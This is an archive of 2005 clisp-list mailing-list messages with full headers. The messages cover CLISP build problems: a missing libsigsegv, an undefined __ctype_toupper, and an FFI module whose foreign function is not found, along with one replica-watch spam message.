@@ -3304,7 +3304,7 @@ # src/build-aux/install-sh _AND_ also its own sources, thus we must # point it to modules/... in the original source tree if [ "@TEST_NT@" = no ]; then # re-making a module requires rm -rf module - NEED_RECONFIGURE='test -f $@/configure -a '"'!'"' $@/config.status' + NEED_RECONFIGURE='test -f $@/configure -a '"'!'"' -f $@/config.status' else # re-making a module just works NEED_RECONFIGURE='test -f $@/configure -a $@/configure -nt $@/config.status' fi Thanks! -- WBR, Yaroslav Kavenchuk. From mn-pg-p-e-b-consultant-3.com@siemens.com Tue Oct 25 05:28:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUNv9-000232-8k for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 05:28:51 -0700 Received: from david.siemens.de ([192.35.17.14]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUNv7-0002KC-3h for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 05:28:51 -0700 Received: from mail2.siemens.de (localhost [127.0.0.1]) by david.siemens.de (8.12.6/8.12.6) with ESMTP id j9PCRTgr006481 for ; Tue, 25 Oct 2005 14:27:30 +0200 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail2.siemens.de (8.12.6/8.12.6) with ESMTP id j9PCRTOx018464 for ; Tue, 25 Oct 2005 14:27:29 +0200 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Tue, 25 Oct 2005 14:27:29 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <6F0CB04509C11D46A54232E852E390AC44B969@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: make does not find libsigsegv Thread-Index: AcXZX3b+AyFFAegwRomKrJZJO210Ag== From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 25 Oct 2005 12:27:29.0517 (UTC) FILETIME=[773771D0:01C5D95F] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] make does not find libsigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 25 05:34:59 2005 X-Original-Date: Tue, 25 Oct 2005 14:27:29 +0200 I try to install clisp (on Red Hat Linux). When calling make, I get the error messag /usr/bin/ld: cannot find -lsigsegv Seems like libsigsegv is missing. Does someone know where to get it? Ronald --=20 Ronald Fischer =20 From pjb@informatimago.com Tue Oct 25 06:24:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUOmj-0004XA-Aq for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 06:24:13 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUOmg-0007ZV-PA for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 06:24:13 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 55BAA58344; Tue, 25 Oct 2005 15:23:52 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 862015833D; Tue, 25 Oct 2005 15:23:50 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5DBE110F9F6; Tue, 25 Oct 2005 15:23:50 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17246.12774.346202.826200@thalassa.informatimago.com> To: "Com MN PG P E B Consultant 3" Cc: Subject: Re: [clisp-list] make does not find libsigsegv In-Reply-To: <6F0CB04509C11D46A54232E852E390AC44B969@MCHP7R6A.ww002.siemens.net> References: <6F0CB04509C11D46A54232E852E390AC44B969@MCHP7R6A.ww002.siemens.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 25 06:27:52 2005 X-Original-Date: Tue, 25 Oct 2005 15:23:50 +0200 Com MN PG P E B Consultant 3 writes: > I try to install clisp (on Red Hat Linux). When calling make, I get the > error messag > > /usr/bin/ld: cannot find -lsigsegv > > Seems like libsigsegv is missing. Does someone know where to get it? http://www.justfuckinggoogleit.com/search?q=libsigsegv -- __Pascal Bourguignon__ http://www.informatimago.com/ In a World without Walls and Fences, who needs Windows and Gates? From mn-pg-p-e-b-consultant-3.com@siemens.com Tue Oct 25 23:18:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUebk-0003kY-NR for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 23:17:56 -0700 Received: from thoth.sbs.de ([192.35.17.2]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUebj-0008Oo-2P for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 23:17:56 -0700 Received: from mail3.siemens.de (localhost [127.0.0.1]) by thoth.sbs.de (8.12.6/8.12.6) with ESMTP id j9Q6Hpgl005035 for ; Wed, 26 Oct 2005 08:17:51 +0200 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail3.siemens.de (8.12.6/8.12.6) with ESMTP id j9Q6Hog4027727 for ; Wed, 26 Oct 2005 08:17:50 +0200 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 26 Oct 2005 08:17:50 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] make does not find libsigsegv Message-ID: <6F0CB04509C11D46A54232E852E390AC44B96B@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] make does not find libsigsegv Thread-Index: AcXZZ2wyaaXZqz9QQaqBLuWn5QrM4QAjV1zA From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 26 Oct 2005 06:17:50.0649 (UTC) FILETIME=[FDFE8290:01C5D9F4] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 25 23:19:10 2005 X-Original-Date: Wed, 26 Oct 2005 08:17:50 +0200 > > Seems like libsigsegv is missing. Does someone know where to get it? >=20 > http://www.justfuckinggoogleit.com/search?q=3Dlibsigsegv Thank you - I for sure deserved it :-) Really great forwarding site. Ronald From mn-pg-p-e-b-consultant-3.com@siemens.com Wed Oct 26 00:15:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUfVh-0006Hl-UG for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 00:15:45 -0700 Received: from goliath.siemens.de ([192.35.17.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUfVh-0005QT-AW for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 00:15:45 -0700 Received: from mail1.siemens.de (localhost [127.0.0.1]) by goliath.siemens.de (8.12.6/8.12.6) with ESMTP id j9Q7Ffmd023838 for ; Wed, 26 Oct 2005 09:15:41 +0200 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail1.siemens.de (8.12.6/8.12.6) with ESMTP id j9Q7FfNO030545 for ; Wed, 26 Oct 2005 09:15:41 +0200 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 26 Oct 2005 09:15:41 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <6F0CB04509C11D46A54232E852E390AC44B970@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: undefined reference when building Thread-Index: AcXZ/RI8iJETdoQ3RCScrwU3sT8EXg== From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 26 Oct 2005 07:15:41.0075 (UTC) FILETIME=[12877E30:01C5D9FD] X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] undefined reference when building Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 26 00:17:17 2005 X-Original-Date: Wed, 26 Oct 2005 09:15:40 +0200 When making clisp, I get the error message: base/regex.o(.text+0x51f): In function `build_wcs_upper_buffer': : undefined reference to `__ctype_toupper' Did someone already experience a similar problem? I'm using gcc 3.2.3 on Linux with kernel 2.4.21. Could it be that I have an outdated libc? How can I find out, what libc version is actually installed? Ronald --=20 Ronald Fischer =20 From dimitrios.kapanikis@gmail.com Wed Oct 26 16:07:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUuMm-0001Dk-3u for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 16:07:32 -0700 Received: from xproxy.gmail.com ([66.249.82.201]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUuMk-0007ZR-P5 for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 16:07:32 -0700 Received: by xproxy.gmail.com with SMTP id s7so514022wxc for ; Wed, 26 Oct 2005 16:07:29 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=B3DTAuDT/s658tyFikwzhamcJ2fiN9gdQKACcpunrdwQqEtbggnQsd85MPrB6Xc7J1BMxBp5ygFc2tVN5Hj4QAGmCZgFkZiC4T7nanpwOoll/lMtGM0/lIYbphgCNAMxtaAdTDUh+JYhTHDpSPr4KH6HXNOK5SAAj9UXmwP20cU= Received: by 10.64.251.6 with SMTP id y6mr1150621qbh; Wed, 26 Oct 2005 16:07:29 -0700 (PDT) Received: by 10.65.192.2 with HTTP; Wed, 26 Oct 2005 16:07:29 -0700 (PDT) Message-ID: <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40510240504n35cf1b2cs@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 26 16:08:41 2005 X-Original-Date: Thu, 27 Oct 2005 01:07:29 +0200 well, i tried with TO_PRELOAD to finish step 4 of the external module example and that's the output: $ /lib/clisp/clisp-link add-module-set kivcparser base base+kivcparser gcc -I/usr/local/libsigsegv-cygwin/include -W -Wswitch -Wcomment -Wpointer-= arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fex= pensi ve-optimizations -DUNICODE -DDYNAMIC_FFI -I. -I/lib/clisp/linkkit -c module= s.c In file included from modules.d:11: /lib/clisp/linkkit/clisp.h:588: Warnung: Register f"ur zwei globale Registe= rvari ablen verwendet gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissin= g-dec larations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAM= IC_FF I -I. -x none modules.o win32-grammar.o kivcparser.o -lm regexi.o regex.o c= alls. o -lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a -lintl libcha= rset. a libavcall.a libcallback.a -lreadline -lncurses -liconv -L/usr/local/libsi= gsegv -cygwin/lib -lsigsegv -o lisp.exe Info: resolving _rl_line_buffer by linking to __imp__rl_line_buffer (auto-i= mport ) Info: resolving _rl_gnu_readline_p by linking to __imp__rl_gnu_readline_p (= auto- import) Info: resolving _rl_point by linking to __imp__rl_point (auto-import) Info: resolving _rl_completion_entry_function by linking to __imp__rl_compl= etion _entry_function (auto-import) Info: resolving _rl_attempted_completion_function by linking to __imp__rl_a= ttemp ted_completion_function (auto-import) Info: resolving _rl_basic_word_break_characters by linking to __imp__rl_bas= ic_wo rd_break_characters (auto-import) Info: resolving _rl_basic_quote_characters by linking to __imp__rl_basic_qu= ote_c haracters (auto-import) Info: resolving _rl_completer_quote_characters by linking to __imp__rl_comp= leter _quote_characters (auto-import) Info: resolving _rl_already_prompted by linking to __imp__rl_already_prompt= ed (a uto-import) base/lisp.exe -B . -M base/lispinit.mem -norc -q -i kivcparser/../../../kiv= cpars erdir-2.33.2/kivcparser.fas -x (saveinitmem "base+kivcparser/lispinit.mem") ;; Loading file ../../kivcparserdir-2.33.2/kivcparser.fas ... *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "kivcparser_c_parser= " does not exist here are also some lines of the .lisp file containing that foreign function= : (def-call-in kivcparser_java_make (:arguments (cmd c-string) (len int)) (:return-type int)) (def-call-in kivcparser_java_node (:arguments (cmd c-string) (len int)) (:return-type int)) (def-call-in kivcparser_java_idnode (:arguments (cmd c-string)) (:return-type int)) (def-call-out kivcparser_c_parser (:arguments (s c-string :in :malloc-free)) (:return-type int)) (def-call-out kivcparser_c_javaparser (:arguments (s c-string)) (:return-type int)) it is the first call-out function it says it doesnt exist. i cant find the error though. has anybody an idea? Thanks From revaiyna@telugulekha.com Wed Oct 26 19:37:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUxdc-0003CQ-ES; Wed, 26 Oct 2005 19:37:08 -0700 Received: from [218.82.227.131] (helo=telugulekha.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1EUxdZ-0002ks-Mk; Wed, 26 Oct 2005 19:37:08 -0700 Message-ID: Reply-To: "ambrose leithoff" From: "ambrose leithoff" User-Agent: The Bat! (v1.52f) Business X-Accept-Language: en-us MIME-Version: 1.0 To: "raleigh garrell" Cc: , , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] Top quality watches, elite maker. Fantastic, 100% as described. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 26 19:38:43 2005 X-Original-Date: Thu, 27 Oct 2005 00:10:08 +0800 Display to the world you have made it big with our replica timepieces. Surf our homepage and choose from over 1300 models, all from popular brands. Track the location of your package via webpage tracking. Make luxuries a reality by visiting our timekeeper store. With premium advantage and a money back certainty, our internet site is the unmistakable option. Real look that is reasonably priced. http://au.geocities.com/diego_florez3/?xdi=agk I did as I but was desired; but, suspecting something from her hurried manner and the suddenness of the request, I just glanced back before I quitted the field, and there was Mr. Hatfield about to enter at the gate below. By sending me to the house for a book, stop she had just prevented my meeting him on the road. rice The old woman attempted to draw her into conversation, but the girl would not positive talk. gasp Her whole mind was devoted to weighing solve each possible means of escape. I sought out Dejah Thoris in the throng of departing chariots, but she turned her shoulder to me, and I critical could see the portable red blood mount to her cheek. With the foolish inconsistency of love I held exterior my peace when I might have plead ignorance of the nature of my offense, or at least the gravity of it, and so have effected, at worst, a half conciliation. From sds@gnu.org Wed Oct 26 20:17:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUyGh-0004pH-Ee for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 20:17:31 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUyGe-0002Wy-1P for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 20:17:31 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Oct 2005 23:17:27 -0400 X-IronPort-AV: i="3.97,255,1125892800"; d="scan'208"; a="110124876:sNHT22314788" To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> (Dimitrios Kapanikis's message of "Thu, 27 Oct 2005 01:07:29 +0200") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 26 20:18:37 2005 X-Original-Date: Wed, 26 Oct 2005 23:16:24 -0400 > * Dimitrios Kapanikis [2005-10-27 01:07:29 +0200]: > > base/lisp.exe -B . -M base/lispinit.mem -norc -q -i kivcparser/../../../kivcpars > erdir-2.33.2/kivcparser.fas -x (saveinitmem "base+kivcparser/lispinit.mem") > ;; Loading file ../../kivcparserdir-2.33.2/kivcparser.fas ... > *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "kivcparser_c_parser" > does not exist does kivcparser.c (generated by (compile-file "kivcparser.lisp")) mention kivcparser_c_parser? where is its compilation line? is kivcparser.o mentioned in NEW_LIBS & NEW_FILES? -- Sam Steingold (http://www.podval.org/~sds) running w2k I may be getting older, but I refuse to grow up! From sds@gnu.org Wed Oct 26 20:19:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUyIq-0004u5-I4 for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 20:19:44 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUyIn-0007E8-5N for clisp-list@lists.sourceforge.net; Wed, 26 Oct 2005 20:19:44 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Oct 2005 23:19:38 -0400 X-IronPort-AV: i="3.97,255,1125892800"; d="scan'208"; a="110125799:sNHT25084400" To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6F0CB04509C11D46A54232E852E390AC44B970@MCHP7R6A.ww002.siemens.net> (Com MN's message of "Wed, 26 Oct 2005 09:15:40 +0200") References: <6F0CB04509C11D46A54232E852E390AC44B970@MCHP7R6A.ww002.siemens.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: undefined reference when building Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 26 20:21:50 2005 X-Original-Date: Wed, 26 Oct 2005 23:18:35 -0400 > * Com MN PG P E B Consultant 3 [2005-10-26 09:15:40 +0200]: > > When making clisp, I get the error message: > > base/regex.o(.text+0x51f): In function `build_wcs_upper_buffer': > : undefined reference to `__ctype_toupper' > > Did someone already experience a similar problem? > > I'm using gcc 3.2.3 on Linux with kernel 2.4.21. regex comes from gnulib - please report this problem to the gnulib mailing list. -- Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be SHOT AGAIN! From dimitrios.kapanikis@gmail.com Thu Oct 27 00:35:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EV2Ik-00078C-UQ for clisp-list@lists.sourceforge.net; Thu, 27 Oct 2005 00:35:54 -0700 Received: from xproxy.gmail.com ([66.249.82.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EV2Ih-00041D-Ks for clisp-list@lists.sourceforge.net; Thu, 27 Oct 2005 00:35:51 -0700 Received: by xproxy.gmail.com with SMTP id s7so641136wxc for ; Thu, 27 Oct 2005 00:35:31 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=j38SPhjI5z8vCnk5cqPYh7/3phycKPeGRVXnBnNljPQySUcF5guboRZRJld7GBI07zTTuPUinITTYLTw51uteHQhDZR/3pKEJ8WznmgClN6mvE4XZuySBGRTnMOcbU3GwOiaV4Vea/P+PxQm0ojgsYOWoSYA1IEDMjt1qLecs50= Received: by 10.64.251.6 with SMTP id y6mr1414148qbh; Thu, 27 Oct 2005 00:29:06 -0700 (PDT) Received: by 10.65.192.2 with HTTP; Thu, 27 Oct 2005 00:29:06 -0700 (PDT) Message-ID: <243236a40510270029o4a87c78ftc3e6772a3b6c2559@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <243236a40510240504n35cf1b2cs@mail.gmail.com> <243236a40510261607v342fdacas2e318ac6299dc6ab@mail.gmail.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 27 00:37:25 2005 X-Original-Date: Thu, 27 Oct 2005 09:29:06 +0200 > does kivcparser.c (generated by (compile-file "kivcparser.lisp")) > mention kivcparser_c_parser? yes it is mentioned there: extern int (kivcparser_c_parser)(); extern int (kivcparser_c_javaparser)(); extern int (kivcparser_get_textpointer)(); extern int (kivcparser_get_tokenstart)(); void module__kivcparser__init_function_1 (module_t* module); void module__kivcparser__init_function_2 (module_t* module); void module__kivcparser__fini_function (module_t* module); void module__kivcparser__init_function_1 (module_t* module) { } void module__kivcparser__init_function_2 (module_t* module) { register_foreign_function((void*)&kivcparser_c_parser,"kivcparser_c_parse= r",1024); register_foreign_function((void*)&kivcparser_c_javaparser,"kivcparser_c_j= avaparser",1024); register_foreign_function((void*)&kivcparser_get_textpointer,"kivcparser_= get_textpointer",1024); register_foreign_function((void*)&kivcparser_get_tokenstart,"kivcparser_g= et_tokenstart",1024); } > where is its compilation line? the above code is the last 25 lines of the code or what do you mean with compilation line? > is kivcparser.o mentioned in 